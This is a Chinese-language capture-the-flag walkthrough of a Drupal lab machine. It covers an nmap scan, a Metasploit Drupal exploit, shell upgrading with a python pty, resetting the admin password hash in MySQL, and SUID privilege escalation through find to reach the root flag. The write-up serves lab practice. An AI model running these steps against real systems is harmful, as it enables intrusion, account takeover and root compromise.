1.配置环境
将靶机和攻击机网络适配器均设置为NAT模式,开启靶机。
2.扫描对应网段
nmap 192.168.131.0/24
3.收集站点相关信息
观察几个端口对应的站点,对比发现192.168.131.130比较特别。访问站点。
推测cms类型是drupal
4.使用msfconsole
search drupal
选出两个带有网站特征的模块,根据rank选择出最有可能成功的模块(即选择excell:优秀的)
装载模块:use2
提示未设置完整
show options
仅需设置rhosts(攻击地址)即可
set RHOSTS 192.168.131.130
run
5.输入shell获取命令执行窗口
获取命令执行窗口成功!尝试执行命令
为了方便之后的提权命令正常执行,我们利用python转换shell为交互式
python -c "import pty;pty.spawn('/bin/bash')"
ls -al:查看目录文件及其权限。
发现flag1,cat即可
提示:每个完美的cms都需要一个配置文件,你也一样。
搜一下drupal的配置文件:
尝试直接cat,找不到文件
我们就直接用find寻找具体路径
打开之后:开头就是flag2
提示:暴力拆解不是获得权限的唯一方式,你还有什么方式?
同时我们还获得了数据库的密码,猜测下一个flag在数据库中
6.登录MySQL
show databases;
show tables from drupaldb;
推测在users表中。show columns from drupaldb.user;
select group_concat(name,pass)from drupaldb.users;
也不知道它是怎么加密的
就想着怎么改密码了
使用php scripts/password-hash.sh taikula加密泰裤辣
记住这段哈希值
咱们改密码,即更新数据库。
改完了咱们就上号吧!
特殊的PERMS将帮助寻找密码,但是你需要—exec类似命令取得到在暗处的东西
前一句话的意思是特别的特征。flag有什么特别特征呢,有flag呗。
find / -name "flag*"
cat /home/flag4/flag4.txt
你能在root权限下找flag吗,不过这应该很难吧。
结合flag3和2的提示,不爆破root密码,和find命令有关。又是执行进程时的命令
推测用suid提权
找找啥命令能suid提权
find / -user root -perm -4000 -print 2>/dev/null
看到find跟看到家人一样
咱们利用find特性。先创建一个文件touch ikun
find / -name ikun
whoami 看看webs hell什么权限
提权成功!
cd /root到root目录看看
发现最后的flag。cat即可